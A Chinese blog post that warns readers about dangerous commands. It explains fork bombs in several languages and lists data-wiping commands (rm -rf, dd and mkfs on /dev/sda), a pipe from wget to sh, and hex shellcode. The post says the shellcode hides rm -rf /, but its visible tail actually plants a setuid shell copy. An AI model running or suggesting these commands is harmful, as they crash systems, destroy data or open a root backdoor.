同事分享的一个命令,去看了一下,对fork炸弹这个词还是有点印象的,以前听过,没想到是这样。于是也顺手搜了一下其他一些命令,网络收集,只在虚拟机实验了部分,不要轻易尝试,本人不对引发的后果负责。

fork炸弹

fork炸弹以极快的速度创建大量进程(进程数呈以2为底数的指数增长[2] 趋势),并以此消耗系统分配予进程的可用空间使进程表饱和,而系统在进程表饱和后就无法运行新程序,除非进程表中的某一进程终止;但由于fork炸弹程序所创建的所有实例都会不断探测空缺的进程槽并尝试取用以创建新进程,因而即使在某进程终止后也基本不可能运行新进程。fork炸弹生成的子程序在消耗进程表空间的同时也会占用CPU和内存,从而导致系统与现有进程运行速度放缓,响应时间也会随之大幅增加,以致于无法正常完成任务,从而使系统的正常运作受到严重影响。由于现代Unix操作系统普遍采用运用写实拷贝技术,fork炸弹通常不会使进程表饱和。
除了恶意触发fork炸弹破坏的情况外,软件开发中有时也会不慎在程序中嵌入fork炸弹,如在用于监听网络套接字并行使客户端-服务器结构系统中服务器端职责的应用程序中可能需要无限地进行循环(loop)与派生(fork)操作(类似下节示例程序所示),而在这种情况下源代码内的细微错误就可能在测试中“引爆”fork炸弹。

fork炸弹没有传染性,而且fork炸弹会使对同时执行进程/程序数设限的系统无法执行新程序,对于不设限的系统则使之停止响应。以fork炸弹为代表的自我复制程序有时亦被称为wabbit。
fork炸弹的概念:进程递归式派生(fork,亦即自我复制),以使系统拒绝服务甚至崩溃。

Linux系统

:(){ :|:& };:

注解如下:
:()    # 定义函数,函数名为":",即每当输入":"时就会自动调用{}内代码
{      # ":"函数开始标识
:      # 用递归方式调用":"函数本身
|      # 并用管道(pipe)将其输出引至...
:      # 另一次递归调用的":"函数
       # 综上,":|:"表示的即是每次调用函数":"的时候就会生成两份拷贝
&      # 调用间脱钩,以使最初的":"函数被杀死后为其所调用的两个":"函数还能继续执行
}      # ":"函数结束标识
;      # ":"函数定义结束后将要进行的操作...
:      # 调用":"函数,"引爆"fork炸弹

其中函数名“:”只是简化的一例,实际实现时可以随意设定,一个较易理解(将函数名替换为“forkbomb”)的版本如下:
forkbomb(){ forkbomb|forkbomb &} ; forkbomb

解决办法:在Linux系统上,可以通过ulimit这个指令达到相应的效果,例如: ulimit -Hu 30 这个指令可以限制每一个用户最多只能创建30个进程。


Windows

保存为批处理

%0|%0

%0是个命令行参数,表示命令行中的第一个参数,其实就是要执行的程序本身,同理,%1表示传递给程序的第一个参数,%2,随便举个例子,比如add a b,这里add就是%0,a是%1,b是%2,
|应该是一个管道符号,将前一个命令的输出做为后一个命令的输入,每次都是执行自已,这样无限循环,并且在每次执行的同时,再开启同样一个过程。


POSIX标准下的C与C++的实现:

#include <unistd.h>int main(){while(1) fork();return0;}

Perl语言

fork while fork

其他

Linux

$yes

利用无限循环耗尽资源;不过这条命令会在执行一段时间后被系统kill掉。

yes $(yes)

while true; do NOTIFY_SOCKET=/run/systemd/notify systemd-notify ""; done

普通用户就可以执行此命令,导致systemd卡在pause状态,无法启动和停止服务,无法正常重启。

rm

rm -rf 命令必须算一个,不要问我为什么那么坚定。

命令 > /dev/sda

命令 > /dev/sda

上列命令会将某个‘命令‘的输出写到块设备/dev/sda中。该操作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。说白了就相当于把硬盘格了一样。

mv 文件夹 /dev/null

mv 文件夹 /dev/null

这个命令会移动某个‘文件夹‘到/dev/null。在Linux中 /dev/null 或 null 设备是一个特殊的文件,所有写入它的数据都会被清除,然后返回写操作成功。就是黑洞,通过将文件夹移动到黑洞,数据恢复软件是有很大机会可以恢复数据的。

dd命令

dd if=/dev/random of=/dev/sda 命令会向块设备sda写入随机的垃圾文件从而擦出数据。当然!你的系统可能陷入混乱和不可恢复的状态。数据基本是无法恢复的。

wget不合理使用

wget http://xxxx.xxxx.com/xxxx.sh -O- | sh

后面的sh是无条件执行的,不要随意执行这种命令,不能保证下载回来的sh有无恶意代码。可以先wget下来,检查之后再执行。

mkfs.ext4

mkfs.ext4 /dev/sda 类似这样的命令会格盘,貌似不会导致系统奔溃,在使用中的盘是无法用mkfs这样的命令格式化的。

> file

> file 这种命令会覆盖文件内容,而且是无法恢复的;>> file 这种是追加内容,不算危险。

隐藏命令

这是恶意的,以下是**rm -rf /**的命令隐藏在16进制代码中,只是举例,分开好几半,避免直接复制粘贴造成问题。

char esp[] __attribute__ ((section(“.text”))) /* e.s.p  
release */  
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″  
这里是分割性,哈哈哈哈哈哈哈哈哈哈哈哈,哈哈哈哈哈哈哈哈
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″  
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″  
这里是分割性,哈哈哈哈哈哈哈哈哈哈哈哈,哈哈哈哈哈哈哈哈
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″  
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″  
这里是分割性,哈哈哈哈哈哈哈哈哈哈哈哈,哈哈哈哈哈哈哈哈
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″  
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″  
“cp -p /bin/sh /tmp/.beyond; chmod 4755  
/tmp/.beyond;”; 

再次申明:不要轻易尝试,本人不对引发的后果负责。需要测试的,,请使用虚拟机。


文章作者: Leo
版权声明: 本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 LeoLan的小站
安全
喜欢就支持一下吧